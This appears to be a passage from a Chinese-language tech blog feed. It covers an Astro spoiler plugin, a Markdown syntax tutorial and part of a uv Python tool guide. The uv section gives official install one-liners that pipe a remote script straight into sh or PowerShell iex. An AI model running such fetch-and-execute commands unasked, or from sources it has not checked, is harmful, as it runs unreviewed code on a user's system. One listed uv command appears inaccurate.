              value: node.value.slice(lastIndex, matchStart),
            });
          }

          newNodes.push({
            type: &apos;html&apos;,
            value: `&amp;lt;span class=&quot;spoiler&quot;&amp;gt;${spoilerText}&amp;lt;/span&amp;gt;`,
          });

          lastIndex = matchEnd;
        }

        if (lastIndex &amp;lt; node.value.length) {
          newNodes.push({
            type: &apos;text&apos;,
            value: node.value.slice(lastIndex),
          });
        }

        parent.children.splice(index, 1, ...newNodes);
      }
    });
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;⚙️ 步驟 2：在 Astro 中註冊插件&lt;/h3&gt;
&lt;p&gt;打開你的 &lt;code&gt;astro.config.mjs&lt;/code&gt;，並加上這段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { defineConfig } from &apos;astro/config&apos;;
import remarkSpoiler from &apos;./src/plugins/remarkSpoiler.js&apos;; // 路徑根據你的檔案位置調整

export default defineConfig({
  markdown: {
    remarkPlugins: [remarkSpoiler],
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那邊應該會長這樣，直接在最後加上就好：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remarkPlugins: [remarkMath, remarkReadingTime, remarkExcerpt, remarkGithubAdmonitionsToDirectives, remarkDirective, parseDirectiveNode,remarkSpoiler ],
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ 記得重新啟動 Astro 開發伺服器：&lt;code&gt;pnpm dev&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3&gt;🎨 步驟 3：加入防雷效果的 CSS&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;src/styles/global.css&lt;/code&gt; 中加入以下樣式（如果沒有這個檔案，可以自己創一個）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.spoiler {
  background-color: #000;
  color: transparent;
  border-radius: 4px;
  padding: 0 4px;
  cursor: pointer;
  transition: color 0.3s ease;
}

.spoiler:hover {
  color: #fff;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;✅ 使用範例&lt;/h3&gt;
&lt;p&gt;現在，你就可以在 Markdown 檔案中直接使用這樣的語法了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;這是一段正常文字，其中包含 ||這是防雷內容||，滑過才能看到。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;渲染後的效果會變成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;這是一段正常文字，其中包含 &amp;lt;span class=&quot;spoiler&quot;&amp;gt;這是防雷內容&amp;lt;/span&amp;gt;，滑過才能看到。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;||這是效果||&lt;/p&gt;
&lt;h2&gt;在頁腳處新增網站存在時間&lt;/h2&gt;
&lt;p&gt;先看效果
&lt;img src=&quot;https://i.imgur.com/ZFUZZMh.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;🔧1.先創建時間的組件&lt;/h3&gt;
&lt;p&gt;新增一個檔案&lt;code&gt;src/components/SiteRuntime.astro&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---

const startDate = new Date(&apos;2023-01-01&apos;) // 替換為您的網站實際上線日期
---

&amp;lt;div id=&quot;site-runtime&quot; class=&quot;text-sm opacity-75 dark:text-white text-black&quot;&amp;gt;
  網站已運行：&amp;lt;span id=&quot;runtime-counter&quot;&amp;gt;計算中...&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
  function updateRuntime() {
    const startDate = new Date(&apos;2023-01-01&apos;); // 替換為您的網站實際上線日期
    const currentDate = new Date();
    

    const timeDiff = currentDate.getTime() - startDate.getTime();
    
    let seconds = Math.floor(timeDiff / 1000);
    let minutes = Math.floor(seconds / 60);
    let hours = Math.floor(minutes / 60);
    let days = Math.floor(hours / 24);
    
    const years = Math.floor(days / 365);
    const months = Math.floor((days % 365) / 30);
    days = days % 30;
    hours = hours % 24;
    minutes = minutes % 60;
    seconds = seconds % 60;
    
    let runtimeText = &apos;&apos;;
    
    if (years &amp;gt; 0) {
      runtimeText += `${years} 年 `;
    }
    
    if (months &amp;gt; 0 || years &amp;gt; 0) {
      runtimeText += `${months} 個月 `;
    }
    
    runtimeText += `${days} 天 ${hours} 時 ${minutes} 分 ${seconds} 秒`;
    
    document.getElementById(&apos;runtime-counter&apos;).textContent = runtimeText;
  }
  
  updateRuntime();
  setInterval(updateRuntime, 1000);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;⚙️2. 在頁腳引入這個組件&lt;/h3&gt;
&lt;p&gt;可能是在 &lt;code&gt;src\layouts\MainGridLayout.astro&lt;/code&gt;中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
import SiteRuntime from &apos;../components/SiteRuntime.astro&apos;;
// 其他導入...
---

&amp;lt;!-- 您的頁腳部分 --&amp;gt;
&amp;lt;footer class=&quot;mt-8 py-6 border-t border-gray-200 dark:border-gray-700&quot;&amp;gt;
  &amp;lt;div class=&quot;container mx-auto px-4&quot;&amp;gt;
    &amp;lt;div class=&quot;flex flex-col items-center justify-center text-center&quot;&amp;gt;
      &amp;lt;div class=&quot;mb-2&quot;&amp;gt;
        &amp;lt;SiteRuntime /&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;text-sm opacity-75 dark:text-white text-black&quot;&amp;gt;
      
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/footer&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>Markdown 完整教學指南:語法、範例與實用技巧一次掌握</title><link>https://blog.chien.dev/posts/markdown</link><guid isPermaLink="true">https://blog.chien.dev/posts/markdown</guid><description>從基礎到進階的 Markdown 完整教學!包含標題、列表、表格、程式碼區塊、數學公式等等的語法範例。適合部落格撰寫、README 文件、筆記軟體使用者學習,讓你 10 分鐘快速上手 Markdown 輕量級標記語言。</description><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;::::note
如果這篇文章有任何缺漏，歡迎指正！
::::&lt;/p&gt;
&lt;h2&gt;Markdown 是什麼!&lt;/h2&gt;
&lt;p&gt;Markdown 是一種輕量級標記語言，它以易讀易寫的純文字格式撰寫文件，並轉換為其他格式！Markdown 的設計理念是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;易讀易寫，讓人可以輕易閱讀並且專注於內容本身。&lt;/li&gt;
&lt;li&gt;格式轉換簡單，易於在不同平台之間轉換。&lt;/li&gt;
&lt;li&gt;可讀性高，易於閱讀和維護。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Markdown 的使用場景&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;某些Blog生成器會使用Markdown來撰寫文章&lt;/li&gt;
&lt;li&gt;專案的README文件&lt;/li&gt;
&lt;li&gt;某些筆記軟體&lt;/li&gt;
&lt;li&gt;社交軟體或是一些論壇發文時會用到&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Markdown 跟 HTML 的差別&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Markdown 比 HTML 更易讀易寫。&lt;/li&gt;
&lt;li&gt;Markdown 比 HTML 更易於在不同平台之間轉換。&lt;/li&gt;
&lt;li&gt;Markdown 比 HTML 更易於閱讀和維護。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;語法比較&lt;/h4&gt;
&lt;p&gt;兩個大標題分別的語法會是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Hello World&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Hello World
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以可以很輕易的看出來！ Markdown 對人類來說比 HTML 更易讀易寫!&lt;/p&gt;
&lt;h2&gt;語法範例！&lt;/h2&gt;
&lt;h3&gt;標題&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 標題1
## 標題2
### 標題3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;列表&lt;/h3&gt;
&lt;p&gt;列表分為無序列表還有有序列表，區別就是有沒有數字順序&lt;/p&gt;
&lt;h4&gt;無序列表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;- 列表1
- 列表2
- 列表3
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;列表1&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;有序列表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;1. 列表1
2. 列表2
3. 列表3
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;列表1&lt;/li&gt;
&lt;li&gt;列表2&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;引用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; 引用
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;引用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;連結&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[連結](https://www.google.com)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;list=RDdQw4w9WgXcQ&amp;amp;start_radio=1&quot;&gt;連結&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;圖片&lt;/h3&gt;
&lt;p&gt;引用圖片的方式跟連結的方式幾乎一樣，只是前面多了一個驚嘆號&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![圖片](https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;粗體&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;**粗體**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;粗體&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;斜體&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;_斜體_
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;斜體&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;刪除線&lt;/h3&gt;
&lt;p&gt;刪除線在內容的開頭以及結尾各加上兩個波浪符號，請注意不要用到全型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~~刪除線~~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;刪除線&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;防雷海苔&lt;/h3&gt;
&lt;p&gt;防雷海苔的語法是在內容的開頭以及結尾各加上兩個 | 符號，請注意不要用到全型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;||防雷海苔||
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;||防雷海苔||&lt;/p&gt;
&lt;h3&gt;程式碼&lt;/h3&gt;
&lt;p&gt;程式碼區塊有分兩種，一種是行內程式碼，一種是程式碼區塊&lt;/p&gt;
&lt;h4&gt;程式碼區塊&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;```程式語言名稱
程式碼內容
```
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;print(&quot;Hello, World!&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;行內程式碼&lt;/h4&gt;
&lt;p&gt;行內程式碼適合在文字中插入簡短的程式碼片段，使用單個反引號包圍：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`行內程式碼`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;行內程式碼&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;表格&lt;/h3&gt;
&lt;p&gt;表格稍微複雜一點，但是只要記住格式就很簡單了&lt;/p&gt;
&lt;h4&gt;基本表格&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;| 標題1 | 標題2 | 標題3 |
| ----- | ----- | ----- |
| 內容1 | 內容2 | 內容3 |
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;標題1&lt;/th&gt;
&lt;th&gt;標題2&lt;/th&gt;
&lt;th&gt;標題3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;內容1&lt;/td&gt;
&lt;td&gt;內容2&lt;/td&gt;
&lt;td&gt;內容3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;表格對齊&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;| 左對齊 | 置中對齊 | 右對齊 |
| :----- | :------: | -----: |
| 內容   |   內容   |   內容 |
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;左對齊&lt;/th&gt;
&lt;th&gt;置中對齊&lt;/th&gt;
&lt;th&gt;右對齊&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;內容&lt;/td&gt;
&lt;td&gt;內容&lt;/td&gt;
&lt;td&gt;內容&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;分隔線&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;---
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;任務列表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;- [ ] TODO1
- [x] TODO2
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;[ ] TODO1&lt;/li&gt;
&lt;li&gt;[x] TODO2&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;嵌套列表&lt;/h3&gt;
&lt;p&gt;列表可以有多層嵌套，使用縮排來表示層級：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 第一層項目
   - 第二層項目
   - 第二層項目
     - 第三層項目
2. 第一層項目
   1. 第二層數字項目
   2. 第二層數字項目
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第一層項目
&lt;ul&gt;
&lt;li&gt;第二層項目&lt;/li&gt;
&lt;li&gt;第二層項目
&lt;ul&gt;
&lt;li&gt;第三層項目&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;第一層項目
&lt;ol&gt;
&lt;li&gt;第二層數字項目&lt;/li&gt;
&lt;li&gt;第二層數字項目&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;數學公式&lt;/h3&gt;
&lt;p&gt;本網站支援 LaTeX 數學公式，使用 KaTeX 渲染：&lt;/p&gt;
&lt;h4&gt;行內公式&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$E = mc^2$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt; $E = mc^2$&lt;/p&gt;
&lt;h4&gt;區塊公式&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;$$
\sum_{i=1}^{n} x_i = x_1 + x_2 + \cdots + x_n
$$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;
$$
\sum_{i=1}^{n} x_i = x_1 + x_2 + \cdots + x_n
$$&lt;/p&gt;
&lt;h3&gt;換行&lt;/h3&gt;
&lt;p&gt;Markdown 中有幾種換行方式：&lt;/p&gt;
&lt;h4&gt;段落換行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;第一段

第二段（中間空一行）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;強制換行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;第一行（行末加兩個空格）  
第二行

或使用 HTML 標籤：
第一行&amp;lt;br&amp;gt;第二行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;
第一行（行末加兩個空格）&lt;br /&gt;
第二行&lt;/p&gt;
&lt;p&gt;或使用 HTML 標籤：
第一行&amp;lt;br&amp;gt;第二行&lt;/p&gt;
&lt;h3&gt;轉義字符&lt;/h3&gt;
&lt;p&gt;想要顯示 Markdown 特殊字符本身時，使用反斜線轉義：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\* 這不會變成列表
\# 這不會變成標題
\` 這不會變成程式碼
\[不會變成連結\]
\**不會變成粗體\**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;&lt;br /&gt;
* 這不會變成列表&lt;br /&gt;
# 這不會變成標題&lt;br /&gt;
` 這不會變成程式碼&lt;br /&gt;
[不會變成連結]&lt;br /&gt;
*&lt;em&gt;不會變成粗體*&lt;/em&gt;&lt;/p&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>uv 完全指南：極速 Python 套件與專案管理工具。</title><link>https://blog.chien.dev/posts/uv_01</link><guid isPermaLink="true">https://blog.chien.dev/posts/uv_01</guid><description>uv 是一個用 Rust 編寫的極速 Python 包和專案管理器，比 pip 快 10-100 倍！一個工具取代 pip、pip-tools、pipx、poetry、pyenv、virtualenv 等多種工具。</description><pubDate>Mon, 24 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;uv：極速 Python 套件與專案管理工具&lt;/h1&gt;
&lt;p&gt;:::tip
&lt;strong&gt;已經在使用 uv 了嗎？&lt;/strong&gt;&lt;br /&gt;
如果你只是忘記在某些場景下該怎麼下命令，可以直接跳到 &lt;a href=&quot;#%E5%B8%B8%E8%A6%8B%E5%A0%B4%E6%99%AF&quot;&gt;常見場景&lt;/a&gt; 章節快速查找！
如果是忘記指令怎麼下，請直接跳到 &lt;a href=&quot;#%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E9%80%9F%E6%9F%A5&quot;&gt;常用命令速查&lt;/a&gt; 章節快速查找！
:::&lt;/p&gt;
&lt;h2&gt;什麼是 uv？&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;uv&lt;/code&gt; 是一個用 &lt;strong&gt;Rust&lt;/strong&gt; 編寫的極速 Python 包和專案管理器，由 &lt;a href=&quot;https://astral.sh&quot;&gt;Astral&lt;/a&gt; 開發（也就是創造了超快 Python Linter &lt;a href=&quot;https://github.com/astral-sh/ruff&quot;&gt;Ruff&lt;/a&gt; 的那個團隊！）。&lt;/p&gt;
&lt;p&gt;簡單來說，uv 就是一個&lt;strong&gt;超級快速&lt;/strong&gt;的 Python 工具，並且下載套件時支援多線程下載，可以幫你管理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;📦 Python 套件（取代 pip）&lt;/li&gt;
&lt;li&gt;🗂️ 專案依賴（取代 poetry）&lt;/li&gt;
&lt;li&gt;🔧 開發工具（取代 pipx）&lt;/li&gt;
&lt;li&gt;🐍 Python 版本（取代 pyenv）&lt;/li&gt;
&lt;li&gt;🌐 虛擬環境（取代 virtualenv）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;號稱比傳統的 &lt;code&gt;pip&lt;/code&gt; &lt;strong&gt;快 10-100 倍&lt;/strong&gt;！&lt;/p&gt;
&lt;h2&gt;安裝 uv&lt;/h2&gt;
&lt;h3&gt;macOS / Linux&lt;/h3&gt;
&lt;p&gt;使用官方獨立安裝程式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;使用 PowerShell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; powershell -ExecutionPolicy ByPass -c &quot;irm https://astral.sh/uv/install.ps1 | iex&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;其他安裝方式&lt;/h3&gt;
&lt;p&gt;uv 也可以通過以下方式安裝：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 pip
pip install uv

# 使用 Homebrew (macOS)
brew install uv

# 使用 pipx
pipx install uv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝完成後，可以執行以下命令確認安裝成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv --version
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;專案管理&lt;/h2&gt;
&lt;p&gt;uv 可以管理專案依賴項和環境，支援鎖文件、工作區等，類似於 &lt;code&gt;poetry&lt;/code&gt; 或 &lt;code&gt;rye&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;創建新專案&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv init example
Initialized project `example` at `/home/user/example`

$ cd example
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;添加依賴&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv add ruff
Creating virtual environment at: .venv
Resolved 2 packages in 170ms
Built example @ file:///home/user/example
Prepared 2 packages in 627ms
Installed 2 packages in 1ms
  + example==0.1.0 (from file:///home/user/example)
  + ruff==0.5.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;運行程式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv run ruff check
All checks passed!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;鎖定依賴&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv lock
Resolved 2 packages in 0.33ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;同步環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv sync
Resolved 2 packages in 0.70ms
Audited 1 package in 0.02ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;腳本管理&lt;/h2&gt;
&lt;p&gt;uv 可以管理單文件腳本的依賴項和環境，這對於快速編寫小工具非常有用！&lt;/p&gt;
&lt;h3&gt;創建腳本並添加依賴&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ echo &apos;import requests; print(requests.get(&quot;https://astral.sh&quot;))&apos; &amp;gt; example.py

$ uv add --script example.py requests
Updated `example.py`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會在 &lt;code&gt;example.py&lt;/code&gt; 頂部添加內聯元數據來聲明依賴。&lt;/p&gt;
&lt;h3&gt;運行腳本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv run example.py
Reading inline script metadata from: example.py
Installed 5 packages in 12ms
&amp;lt;Response [200]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;uv 會自動創建隔離的虛擬環境來運行腳本，不會污染全局環境！&lt;/p&gt;
&lt;h2&gt;工具管理&lt;/h2&gt;
&lt;p&gt;uv 可以執行和安裝由 Python 包提供的命令行工具，類似於 &lt;code&gt;pipx&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;臨時運行工具&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;uvx&lt;/code&gt;（&lt;code&gt;uv tool run&lt;/code&gt; 的別名）在臨時環境中運行工具：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;什麼是臨時環境？&lt;/strong&gt;&lt;br /&gt;
臨時環境是指 uv 會為這個工具創建一個獨立的虛擬環境，運行完畢後就會自動清理，不會在你的系統中留下任何痕跡。這樣你就可以快速試用工具，而不用擔心污染系統環境或與其他套件版本衝突！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ uvx pycowsay &apos;hello world!&apos;
Resolved 1 package in 167ms
Installed 1 package in 9ms
  + pycowsay==0.0.0.2
  ------------
&amp;lt; hello world! &amp;gt;
  ------------
   \   ^__^
    \  (oo)\_______
       (__)\       )\/\
           ||----w |
           ||     ||
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安裝工具&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv tool install ruff
Resolved 1 package in 6ms
Installed 1 package in 2ms
  + ruff==0.5.4
Installed 1 executable: ruff

$ ruff --version
ruff 0.5.4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Python 版本管理&lt;/h2&gt;
&lt;p&gt;uv 可以安裝 Python 並允許在版本之間快速切換，取代 &lt;code&gt;pyenv&lt;/code&gt; 的功能。&lt;/p&gt;
&lt;h3&gt;安裝多個 Python 版本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv python install 3.10 3.11 3.12
Searching for Python versions matching: Python 3.10
Searching for Python versions matching: Python 3.11
Searching for Python versions matching: Python 3.12
Installed 3 versions in 3.42s
  + cpython-3.10.14-macos-aarch64-none
  + cpython-3.11.9-macos-aarch64-none
  + cpython-3.12.4-macos-aarch64-none
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;創建指定版本的虛擬環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv venv --python 3.12.0
Using CPython 3.12.0
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;運行特定 Python 版本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv run --python pypy@3.8 -- python
Python 3.8.16 (a9dbdca6fc3286b0addd2240f11d97d8e8de187a, Dec 29 2022, 11:45:30)
[PyPy 7.3.11 with GCC Apple LLVM 13.1.6 (clang-1316.0.21.2.5)] on darwin
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&amp;gt;&amp;gt;&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;固定專案 Python 版本&lt;/h3&gt;
&lt;p&gt;在當前目錄中使用特定的 Python 版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv python pin 3.11
Pinned `.python-version` to `3.11`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這會創建一個 &lt;code&gt;.python-version&lt;/code&gt; 文件，uv 會自動使用這個版本。&lt;/p&gt;
&lt;h2&gt;pip 兼容接口&lt;/h2&gt;
&lt;p&gt;如果你已經習慣使用 &lt;code&gt;pip&lt;/code&gt;，uv 提供了兼容的命令，讓你無縫遷移！&lt;/p&gt;
&lt;h3&gt;創建虛擬環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv venv
Using CPython 3.12.3
Creating virtual environment at: .venv
Activate with: source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;關閉虛擬環境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv venv deactivate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;編譯需求文件&lt;/h3&gt;
&lt;p&gt;將需求編譯為平台無關的需求文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ uv pip compile requirements.in \
    --universal \
    --output-file requirements.txt
Resolved 43 packages in 12ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安裝套件&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv pip install requests
Resolved 5 packages in 12ms
Installed 5 packages in 23ms
  + certifi==2024.7.4
  + charset-normalizer==3.3.2
  + idna==3.7
  + requests==2.32.3
  + urllib3==2.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;同步需求&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$ uv pip sync requirements.txt
Resolved 43 packages in 11ms
Installed 43 packages in 208ms
  + babel==2.15.0
  + black==24.4.2
  + certifi==2024.7.4
  ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常用命令速查&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;uv 命令&lt;/th&gt;
&lt;th&gt;傳統工具&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;創建專案&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv init &amp;lt;name&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;添加依賴&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv add &amp;lt;package&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry add&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;移除依賴&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv remove &amp;lt;package&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry remove&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安裝套件&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv pip install &amp;lt;package&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創建虛擬環境&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uv venv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;python -m venv&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;運行程式&lt;/td&gt;
